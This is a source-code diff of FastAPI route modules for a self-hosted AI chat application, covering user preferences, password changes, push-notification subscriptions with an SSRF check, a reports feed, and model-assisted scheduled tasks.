+    # This mirrors `chat_service.effective_system_prompt` and has to keep
+    # mirroring it, layer for layer and in the same order -- a panel naming the
+    # wrong source is worse than one naming none, because it is believed.
+    inherited, inherited_from = "", ""
+    folder_prompt = chat_service.folder_system_prompt(db, chat)
+    current = next(
+        (m for m in chat_service.available_models(db, user) if m.model_id == chat.model_id), None
+    )
+    if folder_prompt:
+        inherited, inherited_from = folder_prompt, "folder"
+    elif current is not None and (current.system_prompt or "").strip():
+        inherited, inherited_from = current.system_prompt.strip(), "model"
+    else:
+        instance_prompt = (settings_store.get(db, "system_prompt") or "").strip()
+        if instance_prompt:
+            inherited, inherited_from = instance_prompt, "instance"
+
+    return render(
+        request,
+        "chat/index.html",
+        {
+            "chat": chat,
+            "messages": messages,
+            "compacted": compacted,
+            "bodies": bodies,
+            "inherited_prompt": inherited,
+            "inherited_from": inherited_from,
+            **_schedule_context(db, user, chat),
+            **_chat_context(db, user, chat),
+            **sidebar_context(db, user),
+        },
+    )
+
+
+def _schedule_context(db: DBSession, user: User, chat: Chat) -> dict:
+    """What the strip below a task chat needs.
+
+    Empty for every other kind, so the three keys exist unconditionally and the
+    template can ask about `schedule` without a `default(false)` -- the same
+    reason `audio_service.template_flags` is passed by all four bubble
+    renderers rather than by whichever one remembered.
+
+    `schedule` being None on a task chat is a real state, not an error: removing
+    a schedule keeps its chat by default, and the strip says so.
+    """
+    from lembas.services import schedules as schedules_service
+
+    if chat is None or chat.kind != KIND_TASK:
+        return {"schedule": None, "schedule_summary": "", "schedule_next": None}
+
+    schedule = schedules_service.for_chat(db, chat)
+    if schedule is None:
+        return {"schedule": None, "schedule_summary": "", "schedule_next": None}
+
+    zone = clock.zone_for(user)
+    return {
+        "schedule": schedule,
+        "schedule_summary": schedules_service.describe(schedule, owner=user),
+        "schedule_next": (
+            clock.as_utc(schedule.next_fire_at).astimezone(zone)
+            if schedule.next_fire_at
+            else None
+        ),
+    }
+
+
+@router.get("/settings")
+async def settings_page(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    error: str = "",
+    saved: str = "",
+):
+    from lembas.api.audio import available_voices
+    from lembas.services.library import memories as memories_service
+
+    context = _chat_context(db, user, None)
+    # Fetched here rather than by the template so a speech server that is down
+    # leaves the page renderable, with the reason beside an empty list.
+    voices, voice_error = await available_voices(context["audio"])
+
+    # error/saved arrive as query parameters because the password form redirects
+    # back here: a POST that re-rendered in place would re-submit on refresh.
+    return render(
+        request,
+        "settings.html",
+        {
+            "chat": None,
+            "error": error,
+            "saved": saved,
+            "voices": voices,
+            "voice_error": voice_error,
+            "memories": memories_service.all_for(db, user),
+            "memory_limit": memories_service.MAX_MEMORY_CHARS,
+            # Sorted rather than left in set order, because a list of six
+            # hundred zones that is not alphabetical is one nobody can use.
+            "timezones": sorted(available_timezones()),
+            "timezone": clock.name_for(user),
+            "server_timezone": str(clock.server_zone()),
+            "local_now": clock.now_for(user).strftime("%H:%M on %A %-d %B"),
+            **context,
+            **sidebar_context(db, user),
+        },
+    )

src/lembas/api/preferences.py

@@ -0,0 +1,271 @@
+"""Per-user preferences set from the browser."""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+
+from fastapi import APIRouter, Body, Form, Request, status
+from fastapi.responses import RedirectResponse, Response
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.config import settings
+from lembas.security.passwords import hash_password, validate_password, verify_password
+from lembas.security.sessions import COOKIE_NAME, create_session, revoke_all_for_user
+from lembas.services.schedule import clock
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/preferences", tags=["preferences"])
+
+# The built-in pair used to be spelled out here, and in four other places. It is
+# one server-resolved list now, because an administrator can define a theme and a
+# hard-coded pair would refuse it -- silently, since this route answers a
+# rejection with `{"ok": false}` that nothing displays.
+def themes() -> tuple[str, ...]:
+    from lembas.services import branding
+
+    return branding.snapshot().theme_ids
+
+
+@router.post("/theme")
+async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=True)) -> dict:
+    """Mirror the browser's theme choice onto the account.
+
+    localStorage is the source of truth for the current tab; this is what makes
+    the choice follow the user to another browser, and what lets the server
+    render the right theme on first paint instead of flashing the default.
+    """
+    if theme not in themes():
+        return {"ok": False, "detail": "Unknown theme."}
+
+    # Replaced rather than mutated in place: SQLAlchemy only reliably detects
+    # a change to a JSON column when the whole value is reassigned.
+    user.settings_json = {**(user.settings_json or {}), "theme": theme}
+    db.commit()
+    return {"ok": True, "theme": theme}
+
+
+@router.post("/timezone")
+async def set_timezone(db: Db, user: RequiredUser, timezone: str = Form("")) -> Response:
+    """Which zone this person's schedules fire in, and what time they are told it is.
+
+    Empty is a real answer -- "whatever the server is set to" -- rather than an
+    unset field, which is why it is stored as "" instead of being removed. An
+    unrecognised name is refused rather than stored and fallen back from later:
+    a schedule that quietly fires in the wrong zone is the failure this whole
+    field exists to prevent, and the one place to catch it is the write.
+    """
+    chosen = (timezone or "").strip()
+    if chosen and not clock.known(chosen):
+        return RedirectResponse(
+            "/settings?error=timezone", status_code=status.HTTP_303_SEE_OTHER
+        )
+    user.settings_json = {**(user.settings_json or {}), clock.SETTING_KEY: chosen}
+    db.commit()
+    return RedirectResponse("/settings?saved=timezone", status_code=status.HTTP_303_SEE_OTHER)
+
+
+# Which CSS variables a browser is allowed to set from here, and how far. An
+# open dict would let a page store anything under somebody's account and have
+# it read back on every load; a width outside these bounds would hand them a
+# panel they cannot see to drag back.
+LAYOUT_BOUNDS = {
+    "--terminal-width": (384, 2400),
+    "--canvas-width": (384, 2400),
+    "--inspector-width": (280, 2400),
+    "--sidebar-width": (200, 800),
+}
+
+
+@router.post("/layout")
+async def set_layout(db: Db, user: RequiredUser, widths: dict = Body(...)) -> dict:
+    """Remember how wide somebody dragged the panels.
+
+    Same two tiers as the theme: `localStorage` is the truth for the tab that
+    did the dragging, and this is what carries it to another browser. Unknown
+    names are dropped rather than refused -- an older browser sending a key a
+    newer release removed should not fail the request.
+    """
+    kept: dict[str, int] = {}
+    for name, raw in (widths or {}).items():
+        bounds = LAYOUT_BOUNDS.get(str(name))
+        if bounds is None:
+            continue
+        try:
+            value = int(float(raw))
+        except (TypeError, ValueError):
+            continue
+        kept[str(name)] = min(max(value, bounds[0]), bounds[1])
+
+    settings = {**(user.settings_json or {})}
+    settings["layout"] = {**(settings.get("layout") or {}), **kept}
+    user.settings_json = settings
+    db.commit()
+    return {"ok": True, "layout": kept}
+
+
+@router.post("/sidebar-kind")
+async def set_sidebar_kind(
+    request: Request, db: Db, user: RequiredUser, kind: str = Form("")
+) -> Response:
+    """Switch the sidebar between ordinary chats and agent chats.
+
+    Saves and re-renders in one round trip, because the two cannot be allowed to
+    disagree: a switch that stored a choice and left the tree showing the other
+    side would look broken, and re-rendering without storing would lose it on the
+    next navigation. The tree comes back as a fragment rather than an `HX-Refresh`
+    -- a full reload is what `api/folders.py` does for a structural change, and it
+    would throw away the folder open/closed state on every flick of the switch,
+    which is the same thing `/api/chats/unread` avoids by swapping out of band.
+
+    An unrecognised value is refused rather than stored: `sidebar_kind` reads it
+    back as "chat" anyway, so storing it would be a preference that silently
+    does nothing.
+    """
+    from lembas.api.pages import sidebar_context
+    from lembas.db.models import KINDS
+    from lembas.web.templating import templates
+
+    if kind not in KINDS:
+        return Response(status_code=status.HTTP_400_BAD_REQUEST)
+
+    user.settings_json = {**(user.settings_json or {}), "sidebar_kind": kind}
+    db.commit()
+
+    return templates.TemplateResponse(
+        request,
+        "partials/_sidebar_tree.html",
+        # `oob` brings the New chat button along out of band. It sits above the
+        # scroll area rather than inside the tree, so a swap of the tree alone
+        # left it saying "New chat" while agent chats were listed underneath.
+        {"chat": None, "user": user, "oob": True, **sidebar_context(db, user)},
+    )
+
+
+@router.post("/default-model")
+async def set_default_model(
+    db: Db, user: RequiredUser, model_id: str = Form("")
+) -> Response:
+    """Choose which model new chats start with.
+
+    An empty value clears the choice and falls back to the instance default.
+    Validated against what this user can actually reach, so a model they lose
+    access to cannot linger as a preference that silently fails later.
+    """
+    from lembas.security import permissions
+
+    model_id = model_id.strip()
+    if model_id and not permissions.can_use_model(db, user, model_id):
+        return RedirectResponse(
+            "/settings?error=That+model+is+not+available+to+you.", status_code=303
+        )
+
+    settings_map = {**(user.settings_json or {})}
+    if model_id:
+        settings_map["default_model"] = model_id
+    else:
+        settings_map.pop("default_model", None)
+    user.settings_json = settings_map
+    db.commit()
+
+    return RedirectResponse("/settings?saved=Default+model+updated.", status_code=303)
+
+
+@router.post("/audio")
+async def set_audio(
+    db: Db,
+    user: RequiredUser,
+    voice: str = Form(""),
+    speed: str = Form(""),
+    language: str = Form(""),
+    autoplay: bool = Form(False),
+) -> Response:
+    """Per-reader audio choices, overriding the instance defaults.
+
+    The voice is deliberately not checked against the discovered list. Voices
+    come and go when a speech server is reconfigured, and rejecting a saved
+    preference because a list fetched a moment ago did not mention it would be
+    a confusing failure with no obvious fix.
+    """
+    chosen: dict[str, object] = {"autoplay": autoplay}
+    if voice.strip():
+        chosen["voice"] = voice.strip()[:120]
+    if language.strip():
+        chosen["language"] = language.strip()[:16]
+    if speed.strip():
+        # An unreadable speed leaves the default in place rather than failing:
+        # nothing else on the form should be lost to a typo in one field.
+        with contextlib.suppress(ValueError):
+            chosen["speed"] = min(max(float(speed), 0.25), 4.0)
+
+    # Whole-dict reassignment: an in-place edit of a JSON column is not
+    # reliably detected as a change.
+    user.settings_json = {**(user.settings_json or {}), "audio": chosen}
+    db.commit()
+    return RedirectResponse("/settings?saved=Audio+preferences+updated.", status_code=303)
+
+
+@router.post("/password")
+async def change_password(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    current_password: str = Form(...),
+    new_password: str = Form(...),
+    confirm_password: str = Form(...),
+) -> Response:
+    """Change your own password.
+
+    Every other session is revoked on success. If the reason for changing a
+    password is that someone else knows it, leaving their session alive would
+    defeat the point.
+    """
+
+    def back(message: str, ok: bool = False) -> Response:
+        from urllib.parse import quote
+
+        field = "saved" if ok else "error"
+        return RedirectResponse(
+            f"/settings?{field}={quote(message)}", status_code=status.HTTP_303_SEE_OTHER
+        )
+
+    if not verify_password(current_password, user.password_hash):
+        log.info("failed password change for %s: current password wrong", user.email)
+        return back("Your current password is not correct.")
+
+    if new_password != confirm_password:
+        return back("The new passwords do not match.")
+
+    if (problem := validate_password(new_password)) is not None:
+        return back(problem)
+
+    if verify_password(new_password, user.password_hash):
+        return back("That is already your password.")
+
+    user.password_hash = hash_password(new_password)
+    db.commit()
+
+    revoke_all_for_user(db, user)
+    token = create_session(
+        db,
+        user,
+        user_agent=request.headers.get("user-agent", ""),
+        ip_address=request.client.host if request.client else "",
+    )
+    log.info("password changed for %s; other sessions revoked", user.email)
+
+    # revoke_all_for_user killed this session too, so hand back a fresh cookie
+    # -- otherwise changing your password would sign you out of the tab you are
+    # standing in.
+    response = back("Password changed. Any other sessions have been signed out.", ok=True)
+    response.set_cookie(
+        COOKIE_NAME,
+        token,
+        max_age=settings.session_ttl,
+        httponly=True,
+        samesite="lax",
+        secure=False,
+        path="/",
+    )
+    return response

src/lembas/api/push.py

@@ -0,0 +1,123 @@
+"""Registering a browser for notifications, and letting it go again.
+
+Three routes and no cleverness. The interesting half is `services/push.py`;
+this is the part a browser talks to.
+
+Ownership is the whole authorisation, as everywhere a person's own things are
+handled here: a subscription belongs to whoever was signed in when it was made,
+and nothing else can reach it.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Request, Response, status
+from sqlalchemy import select
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.db.models import PushSubscription
+from lembas.services import fetch as fetch_service
+from lembas.services import push as push_service
+from lembas.services.fetch import FetchError
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/push", tags=["push"])
+
+# What a browser hands back is its own; these are the bounds that stop a crafted
+# POST writing a novel into the row.
+MAX_ENDPOINT = 2000
+MAX_KEY = 255
+
+
+@router.get("/key")
+async def application_key(db: Db, user: RequiredUser) -> dict[str, str]:
+    """The public half of this instance's VAPID key.
+
+    A browser needs it to subscribe, and it is public by construction — it is
+    what every push service is shown on every send. Behind a login anyway,
+    because there is no reason for it to be readable by anyone who is not about
+    to use it.
+    """
+    return {"key": push_service.public_key(db)}
+
+
+@router.post("/subscribe")
+async def subscribe(request: Request, db: Db, user: RequiredUser) -> Response:
+    """Store what `pushManager.subscribe` handed back.
+
+    Idempotent on the endpoint, because a browser that re-subscribes returns the
+    same one — and two rows for one browser would be two notifications for one
+    arrival. Re-subscribing also **re-points it at whoever is signed in now**:
+    the endpoint belongs to the browser, so on a shared machine the second
+    person to turn notifications on must get them instead of the first, not as
+    well.
+    """
+    payload = await request.json()
+    endpoint = str(payload.get("endpoint") or "").strip()[:MAX_ENDPOINT]
+    keys = payload.get("keys") or {}
+    p256dh = str(keys.get("p256dh") or "").strip()[:MAX_KEY]
+    auth = str(keys.get("auth") or "").strip()[:MAX_KEY]
+
+    if not endpoint.startswith("https://") or not p256dh or not auth:
+        return Response(status_code=status.HTTP_400_BAD_REQUEST)
+
+    # The endpoint is a URL the browser hands us and the server later POSTs to,
+    # which makes it the same shape as every other URL a request can name --
+    # and it was the one outbound client in the codebase not going through the
+    # SSRF guard. `https://` alone says nothing about *where*: an internal
+    # address is as valid a URL as Mozilla's push service, and the caller
+    # triggers delivery themselves by sending a message and closing the tab.
+    #
+    # Checked here **and** again before the POST, the split `agent/hosts.py`
+    # uses: a row can predate a DNS change, and this one is stored.
+    try:
+        fetch_service.check_url(endpoint)
+    except FetchError as exc:
+        log.warning("refused a push endpoint from %s: %s", user.email, exc.message)
+        return Response(status_code=status.HTTP_400_BAD_REQUEST)
+
+    existing = db.scalars(
+        select(PushSubscription).where(PushSubscription.endpoint == endpoint)
+    ).first()
+    if existing is not None:
+        existing.user_id = user.id
+        existing.p256dh = p256dh
+        existing.auth_secret = auth
+        existing.last_error = ""
+    else:
+        db.add(
+            PushSubscription(
+                user_id=user.id,
+                endpoint=endpoint,
+                p256dh=p256dh,
+                auth_secret=auth,
+                label=str(request.headers.get("user-agent") or "")[:200],
+            )
+        )
+    db.commit()
+    log.info("%s registered a browser for notifications", user.email)
+    return Response(status_code=status.HTTP_204_NO_CONTENT)
+
+
+@router.post("/unsubscribe")
+async def unsubscribe(request: Request, db: Db, user: RequiredUser) -> Response:
+    """Forget one browser.
+
+    Answers 204 whether or not there was anything to delete: the browser has
+    already dropped its own subscription by the time it calls this, and telling
+    it that the row was missing gives it nothing it could do about it.
+    """
+    payload = await request.json()
+    endpoint = str(payload.get("endpoint") or "").strip()
+
+    row = db.scalars(
+        select(PushSubscription).where(
+            PushSubscription.endpoint == endpoint, PushSubscription.user_id == user.id
+        )
+    ).first()
+    if row is not None:
+        db.delete(row)
+        db.commit()
+    return Response(status_code=status.HTTP_204_NO_CONTENT)

src/lembas/api/reports.py

@@ -0,0 +1,122 @@
+"""Reports: a feed of finished work, and one report on its own page.
+
+List-plus-detail, the same shape as the library — and for the same reason, since
+an instance running a daily schedule accumulates reports faster than anything
+else here.
+
+**There is no composer on either page, and no route below accepts a message.**
+That is the whole character of the section rather than an omission: a report is
+addressed to the reader and cannot be answered, and the way to be sure of that
+is for the machinery that would answer to be absent. Nothing here renders
+`chat/_message.html`, so there is no `sse-connect` anywhere on these pages and
+nothing on them can start a generation.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Depends, HTTPException, Request, status
+from fastapi.responses import RedirectResponse, Response
+from sqlalchemy import select
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.api.library import PAGE_SIZE, _page
+from lembas.api.pages import sidebar_context
+from lembas.db.models import Report
+from lembas.security import permissions
+from lembas.services import reports as reports_service
+from lembas.services import sharing
+from lembas.services.library import retrieval
+from lembas.services.markdown import render_markdown
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(dependencies=[Depends(require_permission("reports.use"))], tags=["reports"])
+
+
+@router.get("/reports")
+async def reports_list(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    q: str = "",
+    page: int = 1,
+    shared: bool = False,
+):
+    """`shared=1` narrows to reports other people have shared with this reader.
+
+    Reports became shareable at the same time as this filter appeared, and the
+    two arrived together on purpose: a feed that quietly grew somebody else's
+    work with no way to see only theirs is worse than one that never grew.
+    """
+    if q.strip():
+        rows = reports_service.search(
+            db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
+        )
+        pager = {"page": 1, "pages": 1, "total": len(rows)}
+    else:
+        rows, pager = _page(
+            db,
+            (
+                select(Report).where(sharing.only_shared(Report, user))
+                if shared
+                else reports_service.visible(user)
+            ).order_by(Report.created_at.desc()),
+            page,
+        )
+    return render(
+        request,
+        "reports/index.html",
+        {
+            "section": "reports",
+            "reports": rows,
+            "q": q,
+            "shared": shared,
+            "pager": pager,
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/reports/{report_id}")
+async def report_detail(request: Request, db: Db, user: RequiredUser, report_id: str):
+    report = reports_service.get(db, report_id, user)
+    if report is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That report is not available.")
+    # Opening one is what reading it means. Done before rendering so the dot on
+    # the way in and the dot on the way back to the list agree -- the poller
+    # would otherwise re-announce a report the reader is looking at.
+    #
+    # Only the owner's own reading counts. `unread` is the owner's dot, and
+    # somebody a report was shared with opening it would otherwise clear a
+    # notification meant for a person who has not seen it.
+    if report.owner_id == user.id:
+        reports_service.mark_read(db, report)
+    return render(
+        request,
+        "reports/detail.html",
+        {
+            "section": "reports",
+            "report": report,
+            # Model output, through the one path allowed to emit HTML.
+            "body_html": render_markdown(report.body),
+            "can_share": permissions.has(db, user, "library.share"),
+            "is_owner": report.owner_id == user.id,
+            "share_kind": "report",
+            "share_id": report.id,
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.post("/api/reports/{report_id}/delete")
+async def delete_report(db: Db, user: RequiredUser, report_id: str) -> Response:
+    # `owned`, not `get`: sharing grants reading, so being able to see a report
+    # is not being able to delete it out from under the person who filed it.
+    report = reports_service.owned(db, report_id, user)
+    if report is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That report is not available.")
+    reports_service.delete(db, report)
+    return RedirectResponse("/reports", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/schedules.py

@@ -0,0 +1,368 @@
+"""Scheduled: the list, the setup form, and one task chat's controls.
+
+A schedule's own chat is rendered by the ordinary chat page — same transcript,
+same tail poller, same canvas — with the composer replaced by a strip of
+controls. That is the whole reason `KIND_TASK` reuses `Chat` and `Message`
+rather than growing tables of its own.
+
+The rule form here is the **manual** one, and it is not a fallback in the
+apologetic sense: it is what makes "an empty override means off" safe for the
+compile step in Phase 3. Clearing `task.schedule_compile` must switch off the
+*compiling*, not the feature.
+"""
+
+from __future__ import annotations
+
+import logging
+from datetime import UTC, datetime
+
+from fastapi import APIRouter, Depends, Form, HTTPException, Request, status
+from fastapi.responses import RedirectResponse, Response
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.api.pages import sidebar_context
+from lembas.db.models import TARGET_CHAT, TARGET_MESSAGES, TARGET_REPORT, Schedule
+from lembas.services import chat as chat_service
+from lembas.services import schedules as schedules_service
+from lembas.services.schedule import clock, runner
+from lembas.services.schedule import rule as rule_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(
+    dependencies=[Depends(require_permission("schedule.use"))], tags=["schedules"]
+)
+
+# What the setup form may ask for, in the order they are offered.
+OFFERED_TARGETS = (
+    (TARGET_CHAT, "Its own chat"),
+    (TARGET_REPORT, "Reports"),
+    (TARGET_MESSAGES, "Messages"),
+)
+
+REPEAT_ONCE = "once"
+REPEAT_EVERY = "every"
+REPEAT_CALENDAR = "calendar"
+
+
+def _rule_from_form(form) -> dict:
+    """Build a rule dict out of the setup form's fields.
+
+    Deliberately builds the *raw* shape and hands it to `rule.validate` rather
+    than validating here: there is one normaliser, it is total, and it is the
+    same one a model's compiled output will go through in Phase 3. Two
+    validators would be two ideas of what a legal schedule is.
+    """
+    repeat = str(form.get("repeat") or REPEAT_ONCE)
+    raw: dict = {}
+
+    when = str(form.get("start_date") or "").strip()
+    at_time = str(form.get("start_time") or "").strip() or "09:00"
+    if when:
+        raw["start"] = f"{when}T{at_time}:00"
+
+    if repeat == REPEAT_EVERY:
+        unit = str(form.get("every_unit") or "hours")
+        try:
+            amount = int(form.get("every_amount") or 1)
+        except (TypeError, ValueError):
+            amount = 1
+        raw["every"] = {unit: amount}
+        # A timer with no start begins now. Said here rather than in the rule
+        # module, which has no clock by design.
+        raw.setdefault("start", datetime.now(tz=UTC).isoformat())
+
+    elif repeat == REPEAT_CALENDAR:
+        times = [t.strip() for t in str(form.get("times") or "09:00").split(",") if t.strip()]
+        raw["at"] = {
+            "weekdays": [int(d) for d in form.getlist("weekdays") if str(d).isdigit()],
+            "times": times,
+        }
+        days = str(form.get("month_days") or "").strip()
+        if days:
+            raw["at"]["days"] = [int(d) for d in days.split(",") if d.strip().isdigit()]
+
+    try:
+        count = int(form.get("count") or 0)
+    except (TypeError, ValueError):
+        count = 0
+    if count > 0:
+        raw["count"] = count
+
+    until = str(form.get("until") or "").strip()
+    if until:
+        raw["until"] = f"{until}T23:59:00"
+
+    return raw
+
+
+def _form_values(
+    *, schedule: Schedule | None = None, compiled=None
+) -> dict:
+    """Everything `schedules/_form.html` renders, from whichever source there is.
+
+    One dict for both pages, because they are the same fields: an existing row
+    on the edit page, and what the compile proposed on the new one. The form
+    reads only this, so what a model suggested is displayed through exactly the
+    same path as what is stored -- there is no branch in the template that could
+    show one of them differently.
+    """
+    if compiled is not None:
+        values = _rule_defaults_from(compiled.rule)
+        values.update(
+            title=compiled.title, instruction=compiled.instruction, target=compiled.target
+        )
+        return values
+    values = _rule_defaults_from((schedule.rule_json if schedule else {}) or {})
+    values.update(
+        title=schedule.title if schedule else "",
+        instruction=schedule.instruction if schedule else "",
+        target=schedule.target if schedule else TARGET_CHAT,
+    )
+    return values
+
+
+def _rule_defaults_from(rule: dict) -> dict:
+    """What the form should show for a rule.
+
+    Derived from the *normalised* rule, so the form and the engine cannot
+    disagree about what is stored -- an edit screen showing something other
+    than what runs is the same failure as a label that names the wrong tool.
+    Shared by the edit page and by the compile's review step, so what a model
+    proposed is displayed through exactly the same path as what is saved.
+    """
+    rule = rule or {}
+    at = rule.get("at") or {}
+    every = rule.get("every") or {}
+    if at:
+        repeat = REPEAT_CALENDAR
+    elif every:
+        repeat = REPEAT_EVERY
+    else:
+        repeat = REPEAT_ONCE
+    minutes = int(every.get("minutes") or 0)
+    unit, amount = "minutes", minutes
+    for size, name in ((10080, "weeks"), (1440, "days"), (60, "hours")):
+        if minutes and not minutes % size:
+            unit, amount = name, minutes // size
+            break
+    return {
+        "repeat": repeat,
+        "every_unit": unit,
+        "every_amount": amount or 1,
+        "weekdays": at.get("weekdays") or [],
+        "times": ", ".join(at.get("times") or []),
+        "month_days": ", ".join(str(d) for d in at.get("days") or []),
+        "count": rule.get("count") or 0,
+    }
+
+
+def _context(db, user, schedule: Schedule | None, *, error: str = "") -> dict:
+    return {
+        "section": "scheduled",
+        "schedule": schedule,
+        "targets": OFFERED_TARGETS,
+        "weekday_names": list(
+            enumerate(("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"))
+        ),
+        "form": _form_values(schedule=schedule),
+        "error": error,
+        "models": chat_service.available_models(db, user),
+        "timezone": clock.name_for(user) or str(clock.server_zone()),
+        **sidebar_context(db, user),
+    }
+
+
+# --- The list ------------------------------------------------------------------
+@router.get("/scheduled")
+async def scheduled_list(request: Request, db: Db, user: RequiredUser):
+    rows = list(
+        db.scalars(schedules_service.visible(user).order_by(Schedule.created_at.desc()))
+    )
+    zone = clock.zone_for(user)
+    return render(
+        request,
+        "schedules/index.html",
+        {
+            "section": "scheduled",
+            "schedules": [
+                {
+                    "row": row,
+                    "summary": rule_service.describe(row.rule_json or {}, zone=zone),
+                    "next": clock.as_utc(row.next_fire_at).astimezone(zone)
+                    if row.next_fire_at
+                    else None,
+                }
+                for row in rows
+            ],
+            **sidebar_context(db, user),
+        },
+    )
+
+
+@router.get("/scheduled/new")
+async def new_schedule(request: Request, db: Db, user: RequiredUser, error: str = ""):
+    """One question: what do you want to schedule?
+
+    The detail comes from the compile. The manual form is on the same page
+    behind a disclosure, so somebody who already knows exactly when it should
+    run does not have to describe it in prose and hope.
+    """
+    return render(
+        request,
+        "schedules/new.html",
+        {**_context(db, user, None, error=error), "compiled": None, "described": ""},
+    )
+
+
+@router.post("/api/schedules/describe")
+async def describe_schedule(request: Request, db: Db, user: RequiredUser):
+    """Work a plain-language request into a schedule, and show it back.
+
+    Deliberately a *review* step rather than creating the schedule outright.
+    The whole point of the compile is that a model chose the timing, and a
+    timing nobody looked at is exactly the standing instruction this codebase
+    refuses to create silently elsewhere.
+
+    Nothing here can fail into an error page: a cleared fragment, an endpoint
+    that is down, prose instead of JSON and a rule that means nothing all end at
+    the same place, which is the form with the reader's own words in it and a
+    line saying what to finish.
+    """
+    from lembas.services import prompts as prompts_service
+    from lembas.services.schedule import compile as compile_service
+
+    form = await request.form()
+    described = str(form.get("request") or "").strip()
+
+    template = prompts_service.resolve(db, "task.schedule_compile")
+    resolved = compile_service.endpoint_for(db, user)
+    if resolved is None:
+        compiled = compile_service.Compiled(
+            instruction=described,
+            title=described[:80],
+            reason="There is no model configured to work this out, so fill it in yourself.",
+        )
+    else:
+        endpoint, model_id = resolved
+        compiled = await compile_service.compile_request(
+            endpoint, model_id, described, template=template, user=user
+        )
+
+    context = _context(db, user, None)
+    # The compiled values become the form's values, so the reader edits what the
+    # model proposed rather than being shown it beside an empty form.
+    context["form"] = _form_values(compiled=compiled)
+    return render(
+        request,
+        "schedules/new.html",
+        {
+            **context,
+            "compiled": compiled,
+            "described": described,
+            "summary": rule_service.describe(compiled.rule, zone=clock.zone_for(user))
+            if compiled.rule
+            else "",
+        },
+    )
+
+
+@router.get("/scheduled/{schedule_id}/edit")
+async def edit_schedule(
+    request: Request, db: Db, user: RequiredUser, schedule_id: str, error: str = ""
+):
+    schedule = schedules_service.get(db, schedule_id, user)
+    if schedule is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
+    return render(request, "schedules/edit.html", _context(db, user, schedule, error=error))
+
+
+# --- Writing --------------------------------------------------------------------
+@router.post("/api/schedules")
+async def create_schedule(request: Request, db: Db, user: RequiredUser) -> Response:
+    form = await request.form()
+    try:
+        schedule = schedules_service.create(
+            db,
+            owner=user,
+            title=str(form.get("title") or ""),
+            instruction=str(form.get("instruction") or ""),
+            request=str(form.get("instruction") or ""),
+            rule=_rule_from_form(form),
+            target=str(form.get("target") or TARGET_CHAT),
+            model_id=str(form.get("model_id") or ""),
+        )
+    except schedules_service.ScheduleError as error:
+        # Back to the form with the reason, rather than a 400 nobody can act on.
+        return RedirectResponse(
+            f"/scheduled/new?error={error}", status_code=status.HTTP_303_SEE_OTHER
+        )
+    return RedirectResponse(f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/schedules/{schedule_id}")
+async def save_schedule(
+    request: Request, db: Db, user: RequiredUser, schedule_id: str
+) -> Response:
+    schedule = schedules_service.get(db, schedule_id, user)
+    if schedule is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
+    form = await request.form()
+    try:
+        schedules_service.update(
+            db,
+            schedule,
+            owner=user,
+            title=str(form.get("title") or ""),
+            instruction=str(form.get("instruction") or ""),
+            rule=_rule_from_form(form),
+            target=str(form.get("target") or TARGET_CHAT),
+        )
+    except schedules_service.ScheduleError as error:
+        return RedirectResponse(
+            f"/scheduled/{schedule_id}/edit?error={error}",
+            status_code=status.HTTP_303_SEE_OTHER,
+        )
+    return RedirectResponse(f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/schedules/{schedule_id}/toggle")
+async def toggle_schedule(
+    db: Db, user: RequiredUser, schedule_id: str, enabled: str = Form("")
+) -> Response:
+    schedule = schedules_service.get(db, schedule_id, user)
+    if schedule is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
+    schedules_service.set_enabled(
+        db, schedule, owner=user, enabled=enabled not in ("", "0", "false")
+    )
+    return RedirectResponse(
+        f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/api/schedules/{schedule_id}/run")
+async def run_schedule(db: Db, user: RequiredUser, schedule_id: str) -> Response:
+    """Fire it now, without consuming the run it was scheduled for.
+
+    `runner.run_now` is a different entry point from the ticker's for exactly
+    that reason -- testing a schedule must not skip the real one.
+    """
+    schedule = schedules_service.get(db, schedule_id, user)
+    if schedule is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
+    chat_id = schedule.chat_id
+    await runner.run_now(schedule_id)
+    return RedirectResponse(f"/chat/{chat_id}", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/api/schedules/{schedule_id}/delete")
+async def delete_schedule(
+    db: Db, user: RequiredUser, schedule_id: str, keep_chat: str = Form("1")
+) -> Response:
+    schedule = schedules_service.get(db, schedule_id, user)
+    if schedule is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
+    schedules_service.delete(db, schedule, keep_chat=keep_chat not in ("", "0", "false"))
+    return RedirectResponse("/scheduled", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/sharing.py

@@ -0,0 +1,176 @@
+"""Giving somebody else access to one thing.
+
+Its own routes and its own fragment, rather than a block of checkboxes riding
